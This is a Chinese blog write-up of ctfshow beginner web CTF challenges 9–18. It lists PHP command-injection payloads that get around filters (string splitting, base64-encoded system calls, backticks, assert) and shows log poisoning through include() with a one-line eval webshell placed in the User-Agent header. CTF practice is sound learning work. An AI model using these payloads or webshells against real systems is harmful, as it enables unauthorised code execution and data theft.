ctfshow 做题 萌新 模块(4)

ctfshow 做题 萌新 模块(4)

——

web9

给出提示: flag in config.php
所以我们是需要得到 config.php 文件里的内容。
代码中有 preg_match 函数,一开始以为是对这些函数进行过滤,后面才发现 else 后面才是回显错误,所以是必须用上这些给出的函数。
请添加图片描述

传入

?c=highlight_file(‘config.php’);

?c=system(‘cat config.php’);

请添加图片描述

——
——

web10

这题就是不能使用给出的这些函数。
请添加图片描述

使用 highlight_file()函数的别名 show_source() 函数得到 flag 。

还可以使用拆分函数字符的方法:

?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

c=$a='highligh';$b='t_file';$d=$a.$b;$d('config.php');

请添加图片描述

——
——

web11

这题还是不能用上给出的这些字符。
请添加图片描述

继续

?c=show_source(‘config.php’);

请添加图片描述

——
——

web12

被过滤的字符又变多了。
过滤了字符点,文件名的字符也被过滤了。
请添加图片描述

收集常用的命令执行函数:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

这里用到一个反引号,就是先将命令中反引号的命令先执行,再执行整条命令的结果。
传入:
cat 字符中使用单引号或双引号或斜杆用于绕过 cat 被过滤。

?c=passthru("ca''t `ls`");

还有一个绕过过滤的方法,对被过滤的字符进行编码:

c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

c3lzdGVt 是 system 的 base64 编码,Y2F0IGNvbmZpZy5waHA= 是 cat config.php 的 base64 编码。
请添加图片描述

——
——

web13

分号和字符 file 也被过滤了。
请添加图片描述

分号被过滤,我们无法对语句进行闭合了,选择用 ?> 对语句进行闭合。
前面一题的 payload :

?c=passthru("ca''t `ls`")?>

请添加图片描述

还可以用到一个函数 assert() ,
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

?c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp 是 system(‘config.php’) 的 base64 编码。

——
——

web14

多过滤了一个括号的字符,就不能用命令执行的方法了。
请添加图片描述

这里用 get 和 post 结合传入参数。
先 GET 传入

?c=echo `$_POST[1]`?>

再进行 POST 传入

1=cat config.php

请添加图片描述

然后在 F12 源码中得到 flag 。
感觉做法有点类似于文件上传,即先传入一个可操作的参数,再用这个参数执行命令。

请添加图片描述

——
——

web15

等号、尖括号、问号、星号也被过滤了,即不能用 ?> 代替分号,参数后面也不能用等号接传入的值。
不过分号可以使用了。
请添加图片描述

前一题的方法
get 传入:

?c=echo `$_POST[1]`;

post 传入:

1=cat config.php

请添加图片描述

——
——

web16

代码告诉我们传入参数 c 。
满足 md5(“ctfshow$c”)===“a6f57ae38a22448c2f07f3f95f49c84e”) 即可回显 flag 。
请添加图片描述

md5 解密得到: ctfshow36d
即 c 的值为 36d
请添加图片描述

传入
?c=36d
得到 flag 。
请添加图片描述

——
——

web17

看到 include() 函数,可以判断这题用到文件包含的方法。
请添加图片描述

这题用到日志注入的方法,前面做过一题 web 模块中的 web4 也是用日志注入的方法。
尝试访问日志文件:

?c=/var/log/nginx/access.log

看到成功回显,说明可以运用这个方法。
请添加图片描述

把 User-Agent 的值改为一句话木马:

<?php @eval($_POST['a']);?>

请添加图片描述

然后用蚁剑连接。
请添加图片描述

html 文件夹里有个 36d.php 文件,打开里面的内容为 flag 。
请添加图片描述

——
——

web18

额,多过滤了字符 file ,还是不影响用前面的方法。
不过应该有更简单的方法,只需要对参数 c 传入特定的值就能回显 flag 。(不知道文件包含中伪协议的方法可不可用)
请添加图片描述

先尝试 ?c=/var/log/nginx/access.log 有回显,抓包把 User-Agent 的值改为一句话木马,然后用蚁剑连接,打开文件 36d.php 得到 flag 。
请添加图片描述

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值